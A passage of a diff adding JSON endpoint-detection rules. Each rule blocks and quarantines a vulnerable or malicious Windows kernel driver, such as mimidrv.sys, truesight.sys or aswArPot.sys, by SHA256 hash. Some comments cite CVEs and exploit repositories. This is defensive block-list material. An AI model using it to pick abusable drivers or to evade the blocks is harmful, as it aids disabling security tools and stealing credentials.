+  "value": "f3ec3f22639d45b3c865bb1ed7622db32e04e1dbc456298be02bf1f3875c3aac",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a1f74978-6ec7-5a57-b81f-3047f4d09245",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.615895Z",
+  "creation_date": "2026-03-23T11:45:29.615897Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.615903Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f5e9fc579028d5cae916743528891aa39a4eecb3f573ea522eeb8da97f95953",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a21b981f-c3da-5b4a-a1d0-c11fc9a9c3ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974161Z",
+  "creation_date": "2026-03-23T11:45:29.974163Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974168Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fda93c6e41212e86af07f57ca95db841161f00b08dae6304a51b467056e56280",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a21c0261-3771-5bdf-9fd0-fbd528436d99",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975446Z",
+  "creation_date": "2026-03-23T11:45:29.975447Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975453Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "207b6cea0c9f7e94a912b388d5e9f7ace3b6405114f64bcc425042a09170fcac",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a22dd93f-87be-557e-a549-4feefefd7c0f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144393Z",
+  "creation_date": "2026-03-23T11:45:31.144395Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144400Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c49fe7af43a777e3d1b7e883e7e65e860deb8e35f189b8352828e7ab455d4fee",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a237013c-9ab2-5934-b802-095b7fa58a61",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811044Z",
+  "creation_date": "2026-03-23T11:45:31.811046Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811051Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1e6c794dc342d12e520a6929450033914f16a982f0b1b786fac55ca1fb4232bc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a25244de-f2ae-50e3-ae3d-ba508e93ad34",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144253Z",
+  "creation_date": "2026-03-23T11:45:31.144255Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144261Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "94a7a48ea51c0dbae5318bb697cda5ad00f20dbb7dfa6c0ea940e44d728c031c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a2560996-b8a4-55b5-8f05-cb363a67e8fb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810155Z",
+  "creation_date": "2026-03-23T11:45:31.810158Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810167Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d1d75a1d68c7754a5c16cae617bd8e0a37823bb0c9e83e2f7a122a5392eedb46",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a25c5fdc-4449-5c42-8870-90d96cc4fae4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492161Z",
+  "creation_date": "2026-03-23T11:45:31.492163Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492169Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4589bf3f26fbbcfede64f606b98d9159ce7dd462928ac1775c668a7a658cf14f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a26e5896-d10f-502b-9ecc-5febacf092db",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824312Z",
+  "creation_date": "2026-03-23T11:45:30.824315Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824320Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1ac56a208b2f9eaa828d2351c5baf3b4cdb64092a026d7a5db4c78d40bb6ec04",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a2725a61-1891-595d-98e9-d0682faaa634",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828239Z",
+  "creation_date": "2026-03-23T11:45:30.828241Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828247Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5a7f1e339882a1c486f42016dcf9de3c29dbd630e81e77194ddb3eebab2e94fc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a2751907-6cfd-57d8-98ed-3976250da994",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617748Z",
+  "creation_date": "2026-03-23T11:45:29.617750Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617756Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d041654d8cbf189c29919733fd40184ceaf0050295fc7a7e6e3f4cda45b5e090",
+  "comment": "Cheat Engine dangerous driver (aka dbk64.sys) [https://www.loldrivers.io/drivers/1524a54d-520d-4fa4-a7d5-aaaa066fbfc4/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a2899ca0-faaa-5f29-bd19-56420a9f2627",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141999Z",
+  "creation_date": "2026-03-23T11:45:31.142001Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142007Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "20d5f791ebf599b5ff1fcfcd1858c775b76bea553bd3cabee6798564d23ffc3f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a28ae5f9-3ff0-5ebc-b85c-39fd751a6247",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470102Z",
+  "creation_date": "2026-03-23T11:45:30.470105Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470115Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "938e65ff5760e44faf22a35242547c41a0d8d2b21a2f8a12f6b84d4055aad384",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a2a3c80a-510e-5aa4-a50d-a447ab23c102",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.815765Z",
+  "creation_date": "2026-03-23T11:45:30.815768Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.815773Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b1920889466cd5054e3ab6433a618e76c6671c3e806af8b3084c77c0e7648cbe",
+  "comment": "Vulnerable Kernel Driver (aka FPCIE2COM.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a2aaf45a-d91a-5b24-9ed1-78ba6346ad7d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491443Z",
+  "creation_date": "2026-03-23T11:45:31.491447Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491455Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b63b01658504ef8de8de80ec30f9633837f646cadfbdce0612b6debbf4e8a54c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a2c5307f-1bc4-52d2-b9ae-e369849db198",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816981Z",
+  "creation_date": "2026-03-23T11:45:30.816983Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816989Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "145b3490f5d3f45dc014d8c14112e9973796024ef1e896a10998f08bba45d8e5",
+  "comment": "Vulnerable Kernel Driver (aka CP2X72C.SYS) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a2c86623-915d-5927-817a-e7a72481abe5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462736Z",
+  "creation_date": "2026-03-23T11:45:30.462739Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462748Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "26ef7b27d1afb685e0c136205a92d29b1091e3dcf6b7b39a4ec03fbbdb57cb55",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a2d3c370-1fd5-54fa-b5c0-324d7d30bda9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143373Z",
+  "creation_date": "2026-03-23T11:45:32.143375Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143381Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ccc65f108ad084af41725e42efc3c3c539f89a474c1b1293b111a83e3eba216a",
+  "comment": "Vulnerable Kernel Driver (aka iQVW64.SYS) [https://www.loldrivers.io/drivers/4dd3289c-522c-4fce-b48e-5370efc90fa1/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a2dbeb41-b5cc-53ad-b21b-96fc832b6681",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817679Z",
+  "creation_date": "2026-03-23T11:45:30.817681Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817686Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "be589c5c853c86703e23e3b77455bd0d4330bd5e612d0af538f98cc3c4cec1b4",
+  "comment": "Vulnerable Kernel Driver (aka dellbios.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a2fa4a70-de4e-5f44-9746-73ea5b695760",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464341Z",
+  "creation_date": "2026-03-23T11:45:30.464344Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464352Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e8743094f002239a8a9d6d7852c7852e0bb63cd411b007bd8c194bcba159ef15",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a304ebc5-14cc-5e8d-b11b-98728178226e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968723Z",
+  "creation_date": "2026-03-23T11:45:29.968725Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968730Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bf086b30d80ae4a4e1d6cafecf511622f077493d52c4d729ede5d4ca6b4be02e",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a31223eb-322e-5a2d-91ae-723f63d5942e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490454Z",
+  "creation_date": "2026-03-23T11:45:31.490456Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490461Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b88c0b535bc65985dd945baaa524a400fc5a9366eafca8ac81adc5a070db975e",
